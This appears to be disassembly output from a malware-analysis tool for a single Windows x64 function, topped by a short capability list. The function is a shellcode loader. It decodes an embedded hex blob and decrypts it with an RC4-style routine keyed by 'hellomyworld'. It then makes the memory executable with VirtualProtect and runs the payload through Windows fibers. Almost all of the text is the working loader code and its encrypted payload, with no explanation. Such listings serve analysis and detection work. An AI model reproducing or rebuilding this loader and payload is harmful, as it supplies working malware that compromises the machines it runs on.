Function at 0x1400011e0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via windows fibers

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xc70]
sub rsp, 0xd70
mov rax, qword [0x140007008]
xor rax, rsp
mov qword [rbp + 0xc60], rax
xor ebx, ebx
mov r14d, ebx
mov dword [rsp + 0x20], ebx
movsd xmm0, qword [str.hellomyworld]
movsd qword [rbp - 0x80], xmm0
mov eax, dword [0x140004448]
mov dword [rbp - 0x78], eax
movzx eax, byte [0x14000444c]
mov byte [rbp - 0x74], al
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x50], 0xf
mov byte [rsp + 0x38], bl
mov r8d, 0x3fe
lea rdx, str.47A8DF9E9C27F7776F722D3529353E3D392548A50A3AE736082DE73E7725F2254F3AE716382D63DB25273446A63A5DA4C4590D106D415936AEBB612569A48E813D2C283FE4204CEF2A59246DBF0BF80F77796E6BED176C6C6FE6F9FF6F726C2CEDA5180B276CA927E43A7420E3254C256EBD9A21278DA525E351E4246EBB3446A63A5DA4C424ADA5622C78B65792199524662048672840A61AAA3420E32548256EBD1F36E47E2420E32570256EBD38FC6BFA2465B824342D3733202D2E2A2D3D293F24EF834D382590923425313F24E77D843288908D312DD6121F5E305E4B776F333A2DE18324ED83CD78776F3BE58121D96E6C4DD506776F732D3021EC882009F141BA4C772607FFC54C89EA680101001059419A29806B00FFD56B0A415E50504D31C94D31C048FFC04889C248FFC04889C141BAEA0FDFE0FFD54889C76A102179EA6F153789F9816F3FAE0A9EF8D54503B06B49FFCE75D6FD1986F87F4883EC104889E24D31C96A0441584889F941BB02D9C85FFFD583F8001F2A0181C4205E89508CB73E59680080000041584889F24831C808B858A4D9E573D54889C349B13C3B2CBA4989F014899E48ECF937BA6BD9AB5F9AD5DFF8487D495833573D6864406900325801000C41D50B430F45FFB8573C418E75324D02FFB64990CE8D3C9AFFA34860C32D29B548DAF610B42FFF845805003D49A2C282B5FE5687D536
lea rcx, [rsp + 0x38]
call fcn.140001f90
nop
xor edx, edx
mov r8d, 0x7d0
lea rcx, [rbp + 0x490]
call sub.VCRUNTIME140.dll_memset
mov edi, ebx
lea esi, [rbx + 2]
mov rax, qword [rsp + 0x48]
test rax, rax
je 0x140001456
lea r12, [0x140004908]
lea r13, [0x140004868]
lea r15, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
nop dword [rax]
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x68], rbx
mov qword [rsp + 0x70], 0xf
mov byte [rsp + 0x58], 0
cmp rax, rdi
jb 0x1400017d6
sub rax, rdi
mov r8, rsi
cmp rax, rsi
cmovb r8, rax
lea rdx, [rsp + 0x38]
cmp qword [rsp + 0x50], 0x10
cmovae rdx, qword [rsp + 0x38]
add rdx, rdi
lea rcx, [rsp + 0x58]
call fcn.140001f90
or r14d, 1
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rbp - 0x70]
call sub.VCRUNTIME140.dll_memset
mov qword [rbp - 0x70], r12
mov qword [rbp - 0x60], r13
lea rcx, [rbp + 0x28]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
or r14d, 2
mov dword [rsp + 0x20], r14d
xor r8d, r8d
lea rdx, [rbp - 0x58]
lea rcx, [rbp - 0x70]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64____ptr64]
nop
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx - 0x70], r15
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx - 0x74], edx
lea rcx, [rbp - 0x58]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp - 0x58], rax
mov qword [rbp + 0x10], rbx
mov dword [rbp + 0x18], ebx
lea rdx, [0x1400011c0]
lea rcx, [rbp - 0x60]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
lea rdx, [rsp + 0x58]
cmp qword [rsp + 0x70], 0x10
cmovae rdx, qword [rsp + 0x58]
mov r8, qword [rsp + 0x68]
mov rcx, rax
call fcn.140002140
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x70]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
mov rcx, rdi
shr rcx, 1
movzx eax, byte [rsp + 0x30]
mov byte [rbp + rcx + 0x490], al
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx - 0x70], r15
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx - 0x74], edx
lea rcx, [rbp - 0x58]
call fcn.140001d50
lea rcx, [rbp - 0x50]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x28]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x140001444
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000143f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400016ae
call fcn.1400023bc
add rdi, 2
mov rax, qword [rsp + 0x48]
cmp rdi, rax
jb 0x1400012b0
mov ecx, ebx
cmp byte [rbp - 0x80], cl
je 0x14000146c
nop dword [rax]
inc ecx
movsxd rax, ecx
cmp byte [rbp + rax - 0x80], 0
jne 0x140001460
mov r11d, ebx
cmp byte [rbp + 0x490], r11b
je 0x140001490
nop dword [rax + rax]
inc r11d
movsxd rax, r11d
cmp byte [rbp + rax + 0x490], 0
jne 0x140001480
mov eax, ebx
lea rdx, [rbp - 0x70]
mov r9d, 0x100
nop dword [rax]
mov byte [rdx], al
inc eax
lea rdx, [rdx + 1]
cmp eax, r9d
jl 0x1400014a0
mov r8d, ebx
cmp ecx, r9d
jl 0x1400016b5
lea rax, [rbp + 0x90]
lea rcx, [rbp - 0x80]
nop dword [rax]
nop dword [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rsi, 1
jne 0x1400014d0
mov eax, ebx
mov r10, rbx
mov r8d, r9d
nop word [rax + rax]
movzx edi, byte [rbp + r10 - 0x70]
movzx ecx, byte [rbp + r10 + 0x90]
add eax, ecx
add eax, edi
and eax, 0x800000ff
jge 0x140001553
dec eax
or eax, 0xffffff00
inc eax
movsxd rcx, eax
lea rdx, [rbp - 0x70]
add rdx, rcx
movzx ecx, byte [rdx]
mov byte [rbp + r10 - 0x70], cl
mov byte [rdx], dil
inc r10
sub r9, 1
jne 0x140001530
mov edi, r11d
test r11d, r11d
jle 0x1400016e5
lea rsi, [rbp + 0x90]
nop dword [rax]
nop dword [rax + rax]
dec edi
inc r8d
and r8d, 0x800000ff
jge 0x1400015ab
dec r8d
or r8d, 0xffffff00
inc r8d
movsxd rcx, r8d
lea r9, [rbp - 0x70]
add r9, rcx
movzx r10d, byte [r9]
add eax, r10d
and eax, 0x800000ff
jge 0x1400015cc
dec eax
or eax, 0xffffff00
inc eax
movsxd rcx, eax
lea rdx, [rbp - 0x70]
add rdx, rcx
movzx ecx, byte [rdx]
mov byte [r9], cl
mov byte [rdx], r10b
movzx edx, byte [r9]
add rdx, r10
movzx ecx, dl
movzx edx, byte [rbp + rcx - 0x70]
mov byte [rsi], dl
inc rsi
test edi, edi
jg 0x140001590
mov edx, ebx
cmp r11d, 0x40
jb 0x1400016e7
mov ecx, r11d
and ecx, 0x8000003f
jge 0x140001615
dec ecx
or ecx, 0xffffffc0
inc ecx
mov eax, r11d
sub eax, ecx
movsxd rcx, eax
nop dword [rax]
movdqu xmm1, xmmword [rbp + rbx + 0x90]
movdqu xmm0, xmmword [rbp + rbx + 0x490]
pxor xmm1, xmm0
movdqu xmmword [rbp + rbx + 0x490], xmm1
movdqu xmm1, xmmword [rbp + rbx + 0xa0]
movdqu xmm0, xmmword [rbp + rbx + 0x4a0]
pxor xmm1, xmm0
movdqu xmmword [rbp + rbx + 0x4a0], xmm1
movdqu xmm1, xmmword [rbp + rbx + 0xb0]
movdqu xmm0, xmmword [rbp + rbx + 0x4b0]
pxor xmm1, xmm0
movdqu xmmword [rbp + rbx + 0x4b0], xmm1
movdqu xmm1, xmmword [rbp + rbx + 0xc0]
movdqu xmm0, xmmword [rbp + rbx + 0x4c0]
pxor xmm1, xmm0
movdqu xmmword [rbp + rbx + 0x4c0], xmm1
add edx, 0x40
add rbx, 0x40
cmp rbx, rcx
jl 0x140001620
jmp 0x1400016e7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
movsxd r10, ecx
mov rdx, rbx
test r10, r10
jle 0x1400016b8
movsxd rcx, r8d
movzx eax, byte [rbp + rdx - 0x80]
mov byte [rbp + rcx + 0x90], al
inc r8d
cmp r8d, r9d
jge 0x140001522
inc rdx
cmp rdx, r10
jl 0x1400016c0
jmp 0x1400016b8
mov edx, ebx
movsxd rcx, edx
movsxd r8, r11d
cmp rcx, r8
jge 0x140001717
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rbp + rcx + 0x90]
xor byte [rbp + rcx + 0x490], al
inc rcx
cmp rcx, r8
jl 0x140001700
lea r9, [rsp + 0x78]
mov edx, 0x7d0
mov r8d, 0x40
lea rcx, [rbp + 0x490]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
xor r8d, r8d
lea rdx, [rbp + 0x490]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
mov rbx, rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SwitchToFiber]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeleteFiber]
nop
mov rdx, qword [rsp + 0x50]
cmp rdx, 0x10
jb 0x1400017a4
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000179f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000179f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400023bc
xor eax, eax
mov rcx, qword [rbp + 0xc60]
xor rcx, rsp
call fcn.140002360
lea r11, [rsp + 0xd70]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140002120
nop
int3